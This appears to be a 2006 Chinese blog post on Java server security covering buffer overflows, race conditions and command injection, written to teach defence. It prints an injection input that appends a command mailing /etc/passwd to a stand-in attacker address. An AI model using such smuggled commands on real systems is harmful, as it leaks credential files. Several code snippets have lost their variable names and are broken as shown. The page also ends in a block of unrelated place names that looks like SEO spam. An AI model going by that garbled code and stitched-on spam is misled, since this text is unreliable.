posts - 36,comments - 31,trackbacks - 0

          一、概述
            
              編寫(xiě)安全的 Internet 應(yīng)用并不是一件輕而易舉的事情:只要看看各個(gè)專業(yè)公告板就可以找到連續(xù)不斷的安全漏洞報(bào)告。你如何保證自己的 Internet 應(yīng)用不象其他人的應(yīng)用那樣滿是漏洞?你如何保證自己的名字不會(huì)出現(xiàn)在令人難堪的重大安全事故報(bào)道中?
            
            
              如果你使用 Java Servlet JavaServer Pages(JSP) 或者 EJB ,許多難以解決的問(wèn)題都已經(jīng)事先解決。當(dāng)然,漏洞仍有可能出現(xiàn)。下面我們就來(lái)看看這些漏洞是什么,以及為什么 Java 程序員不必?fù)?dān)心部分 C Perl 程序員必須面對(duì)的問(wèn)題。
            
               C 程序員對(duì)安全漏洞應(yīng)該已經(jīng)很熟悉,但象 OpenBSD 之類的工程提供了處理此類問(wèn)題的安全系統(tǒng)。 Java 語(yǔ)言處理這類問(wèn)題的經(jīng)驗(yàn)要比 C 20 年,但另一方面, Java 作為一種客戶端編程語(yǔ)言誕生,客戶端對(duì)安全的要求比服務(wù)器端苛刻得多。它意味著 Java 的發(fā)展有著一個(gè)穩(wěn)固的安全性基礎(chǔ)。
            
               Java 原先的定位目標(biāo)是瀏覽器。然而,瀏覽器本身所帶的 Java 虛擬機(jī)雖然很不錯(cuò),但卻并不完美。 Sun 的《 Chronology of security-related bugs and issues 》總結(jié)了運(yùn)行時(shí)環(huán)境的漏洞發(fā)現(xiàn)歷史。我們知道,當(dāng) Java 用作服務(wù)器端編程語(yǔ)言時(shí),這些漏洞不可能被用作攻擊手段。但即使 Java 作為客戶端編程語(yǔ)言,重大安全問(wèn)題的數(shù)量也從 1996 年的 6 個(gè) ( 其中 3 個(gè)是相當(dāng)嚴(yán)重的問(wèn)題 ) 降低到 2000 年的 1 個(gè)。不過(guò),這種安全性的相對(duì)提高并不意味著 Java 作為服務(wù)器端編程語(yǔ)言已經(jīng)絕對(duì)安全,它只意味著攻擊者能夠使用的攻擊手段越來(lái)越受到限制。那么,究竟有哪些地方容易受到攻擊,其他編程語(yǔ)言又是如何面對(duì)類似問(wèn)題的呢?
            
              二、緩存溢出
            
              在 C 程序中,緩存溢出是最常見(jiàn)的安全隱患。緩存溢出在用戶輸入超過(guò)已分配內(nèi)存空間 ( 專供用戶輸入使用 ) 時(shí)出現(xiàn)。緩存溢出可能成為導(dǎo)致應(yīng)用被覆蓋的關(guān)鍵因素。 C 程序很容易出現(xiàn)緩存溢出,但 Java 程序幾乎不可能出現(xiàn)緩存溢出。
            
              從輸入流讀取輸入數(shù)據(jù)的 C 代碼通常如下所示:
            
               char buffer[1000];
            
               int len = read(buffer);
            
              由于緩存的大小在讀入數(shù)據(jù)之前確定,系統(tǒng)要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數(shù)據(jù)結(jié)構(gòu)的關(guān)鍵部分,從而帶來(lái)了安全上的隱患。有經(jīng)驗(yàn)的攻擊者能夠利用這一點(diǎn)直接把代碼和數(shù)據(jù)插入到正在運(yùn)行的程序。
            
              在 Java 中,我們一般用字符串而不是字符數(shù)組保存用戶輸入。與前面 C 代碼等價(jià)的 Java 代碼如下所示:
            
               String buffer = in.readLine();
            
              在這里, 緩存 的大小總是和輸入內(nèi)容的大小完全一致。由于 Java 字符串在創(chuàng)建之后不能改變,緩存溢出也就不可能出現(xiàn)。退一步說(shuō),即使用字符數(shù)組替代字符串作為緩存, Java 也不象 C 那樣容易產(chǎn)生可被攻擊者利用的安全漏洞。例如,下面的 Java 代碼將產(chǎn)生溢出:
            
               char[] bad = new char[6];
            
               bad[7] = 50; 這段代碼總是拋出一個(gè) java.lang.ArrayOutOfBoundsException 異常,而該異常可以由程序自行捕獲:
            
               try {
            
               char[] bad = new char[6];
            
               bad[7] = 50;
            
               }
            
               catch (ArrayOutOfBoundsException ex) {
            
               ... }
            
              這種處理過(guò)程永遠(yuǎn)不會(huì)導(dǎo)致不可預(yù)料的行為。無(wú)論用什么方法溢出一個(gè)數(shù)組,我們總是得到 ArrayOutOfBoundsException 異常,而 Java 運(yùn)行時(shí)底層環(huán)境卻能夠保護(hù)自身免受任何侵害。一般而言,用 Java 字符串類型處理字符串時(shí),我們無(wú)需擔(dān)心字符串的 ArrayOutOfBoundsExceptions 異常,因此它是一種較為理想的選擇。
            
               Java 編程模式從根本上改變了用戶輸入的處理方法,避免了輸入緩存溢出,從而使得 Java 程序員擺脫了最危險(xiǎn)的編程漏洞。
            
              三、競(jìng)爭(zhēng)狀態(tài)
            
              競(jìng)爭(zhēng)狀態(tài)即 Race Condition ,它是第二類最常見(jiàn)的應(yīng)用安全漏洞。在創(chuàng)建 ( 更改 ) 資源到修改資源以禁止對(duì)資源訪問(wèn)的臨界時(shí)刻,如果某個(gè)進(jìn)程被允許訪問(wèn)資源,此時(shí)就會(huì)出現(xiàn)競(jìng)爭(zhēng)狀態(tài)。這里的關(guān)鍵問(wèn)題在于:如果一個(gè)任務(wù)由兩個(gè)必不可少的步驟構(gòu)成,不管你多么想要讓這兩個(gè)步驟一個(gè)緊接著另一個(gè)執(zhí)行,操作系統(tǒng)并不保證這一點(diǎn)。例如,在數(shù)據(jù)庫(kù)中,事務(wù)機(jī)制使得兩個(gè)獨(dú)立的事件 原子化 。換言之,一個(gè)進(jìn)程創(chuàng)建文件,然后把這個(gè)文件的權(quán)限改成禁止常規(guī)訪問(wèn);與此同時(shí),另外一個(gè)沒(méi)有特權(quán)的進(jìn)程可以處理該文件,欺騙有特權(quán)的進(jìn)程錯(cuò)誤地修改文件,或者在權(quán)限設(shè)置完畢之后仍繼續(xù)對(duì)原文件進(jìn)行訪問(wèn)。
            
              一般地,在標(biāo)準(zhǔn) Unix NT 環(huán)境下,一些高優(yōu)先級(jí)的進(jìn)程能夠把自己插入到任務(wù)的多個(gè)步驟之間,但這樣的進(jìn)程在 Java 服務(wù)器上是不存在的;同時(shí),用純 Java 編寫(xiě)的程序也不可能修改文件的許可權(quán)限。因此,大多數(shù)由文件訪問(wèn)導(dǎo)致的競(jìng)爭(zhēng)狀態(tài)在 Java 中不會(huì)出現(xiàn),但這并不意味著 Java 完全地?cái)[脫了這個(gè)問(wèn)題,只不過(guò)是問(wèn)題轉(zhuǎn)到了虛擬機(jī)上。
            
              我們來(lái)看看其他各種開(kāi)發(fā)平臺(tái)如何處理這個(gè)問(wèn)題。在 Unix 中,我們必須確保默認(rèn)文件創(chuàng)建模式是安全的,比如在服務(wù)器啟動(dòng)之前執(zhí)行 “umask 200” 這個(gè)命令。有關(guān) umask 的更多信息,請(qǐng)?jiān)?/span> Unix 系統(tǒng)的命令行上執(zhí)行 “man umask” 查看 umask man 文檔。
            
              在 NT 環(huán)境中,我們必須操作 ACL( 訪問(wèn)控制表, Access Control List) 的安全標(biāo)記,保護(hù)要在它下面創(chuàng)建文件的目錄。 NT 的新文件一般從它的父目錄繼承訪問(wèn)許可。請(qǐng)參見(jiàn) NT 文檔了解更多信息。
            
               Java 中的競(jìng)爭(zhēng)狀態(tài)大多數(shù)時(shí)候出現(xiàn)在臨界代碼區(qū)。例如,在用戶登錄過(guò)程中,系統(tǒng)要生成一個(gè)唯一的數(shù)字作為用戶會(huì)話的標(biāo)識(shí)符。為此,系統(tǒng)先產(chǎn)生一個(gè)隨機(jī)數(shù)字,然后在散列表之類的數(shù)據(jù)結(jié)構(gòu)中檢查這個(gè)數(shù)字是否已經(jīng)被其他用戶使用。如果這個(gè)數(shù)字沒(méi)有被其他用戶使用,則把它放入散列表以防止其他用戶使用。代碼如 Listing 1 所示:
            
               (Listing 1)
            
               // 保存已登錄用戶的 ID
            
               Hashtable hash;
            
               // 隨機(jī)數(shù)字生成器
            
               Random rand;
            
               // 生成一個(gè)隨機(jī)數(shù)字
            
               Integer id = new Integer(rand.nextInt());
            
               while (hash.containsKey(id))
            
               {
            
               id = new Integer(rand.nextInt());
            
               }
            
               // 為當(dāng)前用戶保留該 ID
            
               hash.put(id, data);
            
               Listing 1 的代碼可能帶來(lái)一個(gè)嚴(yán)重的問(wèn)題:如果有兩個(gè)線程執(zhí)行 Listing 1 的代碼,其中一個(gè)線程在 hash.put(...) 這行代碼之前被重新調(diào)度,此時(shí)同一個(gè)隨機(jī) ID 就有可能被使用兩次。在 Java 中,我們有兩種方法解決這個(gè)問(wèn)題。首先, Listing 1 的代碼可以改寫(xiě)成 Listing 2 的形式,確保只有一個(gè)線程能夠執(zhí)行關(guān)鍵代碼段,防止線程重新調(diào)度,避免競(jìng)爭(zhēng)狀態(tài)的出現(xiàn)。第二,如果前面的代碼是 EJB 服務(wù)器的一部分,我們最好有一個(gè)利用 EJB 服務(wù)器線程控制機(jī)制的唯一 ID 服務(wù)。
            
               (Listing 2)
            
               synchronized(hash)
            
               {
            
               // 生成一個(gè)唯一的隨機(jī)數(shù)字
            
               Integer id =
            
               new Integer(rand.nextInt());
            
               while (hash.containsKey(id))
            
               {
            
               id = new Integer(rand.nextInt());
            
               }
            
               // 為當(dāng)前用戶保留該 ID
            
               hash.put(id, data);
            
               }
            
              四、字符串解釋執(zhí)行
            
              在有些編程語(yǔ)言中,輸入字符串中可以插入特殊的函數(shù),欺騙服務(wù)器使其執(zhí)行額外的、多余的動(dòng)作。下面的 Perl 代碼就是一個(gè)例子:
            
               = "mail body";
            
               system("/usr/sbin/sendmail -t < ");
            
              顯然,這些代碼可以作為 CGI 程序的一部分,或者也可以從命令行調(diào)用。通常,它可以按照如下方式調(diào)用:
            
               perl script.pl honest@true.com
            
              它將把一個(gè)郵件 ( “mail body”) 發(fā)送給用戶 honest@true.com 。這個(gè)例子雖然簡(jiǎn)單,但我們卻可以按照如下方式進(jìn)行攻擊:
            
               perl script.pl honest@true.com;mail
            
               cheat@liarandthief.com < /etc/passwd
            
              這個(gè)命令把一個(gè)空白郵件發(fā)送給 honest@true.com ,同時(shí)又把系統(tǒng)密碼文件發(fā)送給了 cheat@liarandthief.com 。如果這些代碼是 CGI 程序的一部分,它會(huì)給服務(wù)器的安全帶來(lái)重大的威脅。
            
               Perl 程序員常常用外部程序 ( 比如 sendmail) 擴(kuò)充 Perl 的功能,以避免用腳本來(lái)實(shí)現(xiàn)外部程序的功能。然而, Java 有著相當(dāng)完善的 API 。比如對(duì)于郵件發(fā)送, JavaMail API 就是一個(gè)很好的 API 。但是,如果你比較懶惰,想用外部的郵件發(fā)送程序發(fā)送郵件:
            
               Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");
            
              事實(shí)上這是行不通的。 Java 一般不允許把 OS 級(jí) “< ” “;” 之類的構(gòu)造符號(hào)作為 Runtime.exec() 的一部分。你可能會(huì)嘗試用下面的方法解決這個(gè)問(wèn)題:
            
               Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");
            
              但是,這種代碼是不安全的,它把前面 Perl 代碼面臨的危險(xiǎn)帶入了 Java 程序。按照常規(guī)的 Java 方法解決問(wèn)題有時(shí)看起來(lái)要比取巧的方法復(fù)雜一點(diǎn),但它幾乎總是具有更好的可移植性、可擴(kuò)展性,而且更安全、錯(cuò)誤更少。

          posted on 2006-08-18 00:19 心隨我動(dòng) 閱讀(357) 評(píng)論(0)  編輯  收藏 所屬分類: Java
          網(wǎng)站流量統(tǒng)計(jì):
          澳大利亞 ABC 在線英語(yǔ)廣播電臺(tái)
          主站蜘蛛池模板: 铅山县| 康马县| 易门县| 英超| 伽师县| 眉山市| 娄底市| 内江市| 安福县| 中西区| 富阳市| 大邑县| 巧家县| 烟台市| 沙坪坝区| 西青区| 手游| 汉阴县| 台北市| 葵青区| 盐亭县| 霞浦县| 晋州市| 文昌市| 大冶市| 柏乡县| 浦县| 大同市| 固始县| 赞皇县| 龙川县| 行唐县| 常宁市| 靖远县| 南阳市| 昌图县| 汝阳县| 日土县| 曲周县| 玉山县| 荆州市|